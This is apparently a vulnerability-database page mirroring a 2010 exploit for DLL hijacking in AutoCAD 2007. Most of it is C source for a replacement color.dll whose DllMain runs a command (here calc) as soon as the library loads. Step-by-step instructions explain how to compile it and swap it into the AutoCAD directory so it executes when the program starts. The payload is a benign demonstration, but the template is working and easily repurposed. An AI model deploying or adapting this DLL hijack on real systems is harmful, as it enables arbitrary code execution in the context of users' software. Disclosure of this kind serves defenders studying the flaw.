Lucene search
K

Autodesk AutoCAD 2007 DLL Hijacking Exploit

🗓️ 26 Aug 2010 00:00:00Reported by xsploited SecurityType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

Autodesk AutoCAD 2007 DLL Hijacking Exploit allows malicious code execution through color.dll replacement in the program director

Code
`/*  
Description:   
A vulnerability exists in windows that allows other applications dynamic link libraries  
to execute malicious code without the users consent, in the privelage context of the targeted application.  
  
Title: Autocad 2007 Professional dll (color.dll) Hijacking exploit  
Author: xsploited security  
URL: http://www.x-sploited.com/  
Email: [email protected]  
  
Instructions:  
  
1. Compile dll  
2. Replace color.dll in autocad directory with your newly compiled dll  
3. Launch Autocad 2007  
4. Boom calc!  
  
Shoutz:  
  
kAoTiX, Deca, Drizzle, 0xJeremy, Sheep, SpliT, all other security guru's and teams.  
*/  
  
#include <windows.h>  
  
int pwnme()  
{  
WinExec("calc", SW_NORMAL);  
exit(0);  
return 0;  
}  
  
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)  
{  
pwnme();  
return 0;  
}  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation